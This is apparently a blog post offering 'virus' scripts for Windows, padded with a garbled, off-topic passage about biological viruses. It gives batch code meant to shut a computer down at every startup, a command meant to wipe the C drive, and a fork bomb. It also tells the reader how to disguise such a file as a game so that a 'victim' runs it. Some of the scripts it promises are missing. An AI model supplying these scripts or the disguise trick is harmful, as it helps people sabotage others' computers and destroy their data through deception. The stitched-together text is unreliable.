Dangerous Computer Virus Ever

How to Make the virus ?

Note :

Here I am posting 21 program scripts which are helped in create a virus using
notepad. Some of them will works on windows xp and. some of them in windows 7

Virus is a small infectious agent that reform only in cells of other living organisms . The virus can infect all kinds of life forms , animals and plants to bacteria and antiques .

 [ 1 ]

From 1892 paper describing Dmitry Ivanovski and without bacterial pathogen infects plants snuff and snuff discovery Beijerinckem Martinus mosaics from the 1898 virus description

 [ 2 ] about 5,000 viruses in detail 

[ 3 ] , even though there are millions of types different . 

[ 4 ] virus is present in almost every ecosystem on Earth and are the most abundant type of biological entity . 

[ 5 ] 

The word is from the Latin virus referring to poison and other noxious substances, first used in English in 1392

[ 6 ] It is well known that the study of viruses and virus less in microbiology .

Virus particles ( known as virions ) consist of two or three parts : i) genetic material DNA or RNA molecules that are all genetic information , b ) the protein coat that protects these genes , and in some cabinets c ) protein and fat wrap bed , in which the cell . Forms of the virus in the range of one helical and icosahedral forms complex structures . The virus is about half a percent of the average amount of bacteria . The Most viruses are too small to be seen directly with a light microscope .

Most of the viruses are in evolutionary history of life is unclear : some may have evolved from plasmids pieces of DNA that can move between cells , while others may have arisen from bacteria . In evolution , viruses are an important means of horizontal gene transfer , which increases genetic diversity . Considered 

[ 7 ] of some viruses is a way of life , because they make the genetic material and reproduce and evolve through natural selection . However, they lack important features ( for example , cell structures ) , which is generally regarded as essential to life . Because it is a number , but is describing , not all of the elements , and viruses , and " living on the edge of life " .

[ 8 ]

The virus is often transmitted from plant to plant plants by insects that feed on the sap of plants , such as aphids ; virus is spread in many ways the virus can be animal blood sucking insects . This is known as vectors of disease bearing organisms . Flu viruses spread through coughing and sneezing . Norovirus and rotavirus , the most common causes of viral gastroenteritis , and passed through the mouth and feces , and transferred from one person to another by contact , the body in food or water . HIV is one of several viruses transmitted through sexual contact and exposure to infected blood . The range of host cells , so that the virus can infect " host group . " It may be narrow or , as in the case where the virus is infecting many species , broad . 

[ 9 ]

Viral infections stimulate an immune response in animals that usually eliminates the infection . It can also cause an immune response of vaccines received artificial immunity granted to certain viral infections . However , some viruses including those causing AIDS and viral hepatitis around the immune responses and result in chronic inflammation . Antibiotics have no effect on viruses , but several antiviral drug development .

Here is a Batch File virus which can:
1.Copy itself into startup
2.Copy itself over one thousand times into random spots in your computer.
3.Hide its self and all other created files
4.Task kill MSN, Norton, Windows Explorer, Limewire.
5.Swap the left mouse button with the right one
6.Opens alert boxes
7.Changes the time to 12:00 and shuts down the computer
copy this code into notepad and save as Greatgame.bat(while saving select all files instead of text ).
Here is the Code:

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will
automatically shutdown on every startup !

How to Spread it:
Windows does'nt allow to change the icon of .bat files. Therefore what you can do is :
Right click on the .bat file
Click on CREATE SHORTCUT
And hide the original file.
Now as this newly created file is just the shortcut, you can easily change its icon. 
Right click on this shortcut
properties >>>..cutomize>>..choose icon
Now give an attractive icon to it. 
Now name it something intresting. eg. PROTOTYPE or IGI etc. 
Now your victim would think it to be the game , and he will be easily curropted.

SHUT UR INTERNET PERMENANTLY:::


This
is a slightly more advanced one. It shuts down your internet
permanately. I tried it on myself accidently, i knew what it did, and it
still took me a couple of days to get my internet back. works best on
XP, not tested on vista or 7.
EDIT: At the bottom put a rickroll
site or something. BTW, that 3rd line, isnt what disables the internet
permanately. It is somethinge else, that just provides a fast response
to shut down any connections.

AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN,STDLIB,CONIO , AND STUFF LIKE THAT

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.


Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

STEP:1- Open Notepad on your PC

STEP:2- copy it from here to your Notepad

                                         %0|%0

STEP:3- Then save it with a .bat extension.

When saving delete the .txt and input the File name with the .bat extension

Example:- fork.bat

STEP:4- Once anyone will do double click on this bat file, his COMPUTER WILL JAMM AND CRASH
